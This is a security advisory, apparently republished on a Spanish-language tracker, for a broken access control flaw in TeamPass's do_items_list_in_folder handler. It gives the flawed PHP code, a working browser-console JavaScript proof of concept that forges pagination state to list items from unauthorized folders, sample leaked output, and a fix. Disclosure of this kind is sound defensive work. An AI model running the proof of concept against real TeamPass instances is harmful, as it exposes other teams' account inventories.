GHSA-XRJW-R5HX-29RJ
Broken access control in do_items_list_in_folder lets any authenticated user read item metadata from folders they have no access to
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-XRJW-R5HX-29RJ divulgada · CVSS 6.5 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
TeamPass gates which folders a user can browse through per-role folder ACLs, exposed at runtime as the session list `user-accessible_folders`. While reading through the item-listing code I found that the AJAX action `do_items_list_in_folder` only runs that folder authorization check on the first page of results. When the client asks for any later page (`start >= 1`), the whole first-page block — which is where the check lives — is skipped, and the handler goes straight to querying and returning the items of whatever folder id the caller passed in.
The practical result is a horizontal access-control bypass: any authenticated user, including a read-only account that has access to no folders at all, can walk folder IDs and read the metadata (label, login/username, URL, e-mail, description and item_key) of every non-personal item in the whole instance, regardless of the folder ACLs.
The encrypted password itself is not returned by this query and still requires a per-user `sharekeys_items` entry, so cleartext passwords are not directly disclosed. For a password manager, though, leaking the full inventory of "which privileged account exists on which host, with which username and notes" across every team is a serious confidentiality problem on its own.
### Root cause
In `app/sources/items.queries.php`, case `do_items_list_in_folder`, the authorization check and the authoritative row `counter` are both computed inside the first-page branch, while the item query below runs for every page:
// case 'do_items_list_in_folder'
$inputData['id'] = filter_var($dataReceived['id'], FILTER_SANITIZE_NUMBER_INT); // client folder id
$post_start = filter_var($dataReceived['start'], FILTER_SANITIZE_NUMBER_INT); // client page offset
...
if ((int) $start === 0) { // <-- the ONLY place the check runs
...
if (!in_array($inputData['id'], $session->get('user-accessible_folders'))) {
echo prepareExchangedData(['error' => 'not_authorized', ...], 'encode');
break; // access denied
} else {
$counter = DB::queryFirstField('SELECT COUNT(*) ... WHERE ... id_tree = %i', ...);
}
...
} else { // <-- taken for every start > 0
// pagination state is rehydrated from a client-supplied blob, no check:
$uniqueLoadData = json_decode(
filter_var($dataReceived['uniqueLoadData'], FILTER_UNSAFE_RAW), true);
$counter = $uniqueLoadData['counter'];
$showError = $uniqueLoadData['showError'];
$accessLevel = $uniqueLoadData['accessLevel'];
...
}
// runs for BOTH branches, using the client folder id and client counter:
$where = new WhereClause('and');
$where->add('i.id_tree=%i', $inputData['id']);
if ($counter > 0 && empty($showError)) {
$rows = DB::query('SELECT i.id, i.item_key, i.label, i.description, i.login,
i.url AS link, i.email, ... FROM items i
INNER JOIN nested_tree n ON (i.id_tree = n.id)
WHERE %l ORDER BY i.label ASC LIMIT '.$start.','.$post_nb, $where);
foreach ($rows as $record) {
$html_json[$record['id']]['label'] = strip_tags($record['label']);
$html_json[$record['id']]['login'] = $record['login'];
$html_json[$record['id']]['link'] = $record['link'];
$html_json[$record['id']]['email'] = $record['email'] ?? '';
...
}
}
echo prepareExchangedData(['html_json' => $html_json, ...], 'encode');Two things combine here:
1. The `in_array($inputData['id'], user-accessible_folders)` gate only exists in the `start === 0` branch, so any `start >= 1` request never hits it.
2. On the `start > 0` path the state that would otherwise stop enumeration (`counter`, `showError`, `accessLevel`) is read back from `uniqueLoadData`, a client-supplied JSON blob decoded with `FILTER_UNSAFE_RAW` and no integrity check, so the caller controls those too.
The per-item `rights`/`display` values computed afterwards only tell the front-end whether to draw a row; the sensitive fields are already in `html_json` and are returned regardless.
### Steps to reproduce
1. Install a clean TeamPass 3.2.1.4.
2. As an administrator, create a folder (e.g. "Secret-Executives") and add a couple of items with recognisable label / login / URL. Then create an ordinary user, `bob`, and do not give him access to that folder (in my test bob had access to no folders at all — the UI even shows "you have access to none of them").
3. Log in as `bob` and open the Items page.
4. In the browser console, run the snippet below. It fires two otherwise-identical requests against the secret folder id — one with `start=0` and one with `start=1` — reusing the app's own `prepareExchangedData()` so the payloads are encrypted exactly like a legitimate request:
(async () => {
const TARGET = 1; // id of a folder bob cannot access
const html = document.documentElement.innerHTML;
const KEY = (html.match(/key:\s*['"]([a-f0-9]{20,})['"]/i) || html.match(/['"]([a-f0-9]{32})['"]/))[1];
const forged = JSON.stringify({showError:0,accessLevel:30,counter:500,counter_full:500,
categoriesStructure:[],folderComplexity:0,folder_is_personal:false,folder_is_in_personal:false});
const send = (start) => new Promise(res => jQuery.post('sources/items.queries.php', {
type:'do_items_list_in_folder',
data: prepareExchangedData(JSON.stringify({id:TARGET,restricted:0,start,
nb_items_to_display_once:500,uniqueLoadData:forged}),'encode',KEY),
key: KEY
}, r => { const d = decodeQueryReturn(r,KEY,'items.queries.php','do_items_list_in_folder');
res({error:d.error, items:Object.values(d.html_json||{}).map(i=>({id:i.item_id,label:i.label,login:i.login,url:i.link}))}); }));
console.log('start=0 =>', (await send(0)));
console.log('start=1 =>', (await send(1)));
})();### Proof of concept — observed result
`bob` has no access to folder id 1. The two requests differ only in `start`:
start=0 => { error: "not_authorized", items: [] } // check runs, access denied
start=1 => { error: 0, items: [
{ id: 2, label: "Domain Admin", login: "CORP\\Administrator", url: "https://dc01.corp.local" },
{ id: 3, label: "Stripe API Key", login: "stripe-admin", url: "https://dashboard.stripe.com" }
] } // check skipped, metadata leakedWith `start=0` the server correctly returns `not_authorized`; with `start=1` it hands back the items of a folder bob has no rights to. Since the only difference is the `start` value, the bug is clearly the pagination path and not a misconfiguration. (The first item of the folder is missing from the `start=1` result only because the SQL `LIMIT` uses `start` as an OFFSET, so offset 1 skips the alphabetically-first row; it is recoverable by varying the offset.)
### Suggested fix
Move the folder-access check (and the admin bypass) out of the start === 0 branch so it runs on every request:
if ((int) $session->get('user-admin') !== 1
&& !in_array($inputData['id'], $session->get('user-accessible_folders'))) {
echo prepareExchangedData(['error' => 'not_authorized', 'arborescence' => []], 'encode');
break;
}More generally, uniqueLoadData should not be trusted for any security or flow decision — recompute counter / accessLevel server-side on each page, or keep authoritative pagination state in the session keyed to the folder that was actually authorized. Constraining the item query itself to the caller's accessible folders would be a good defence in depth.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistnilsteampassnet/teampass |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/nilsteampassnet/TeamPass/security/advisories/GHSA-xrjw-r5hx-29rjLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
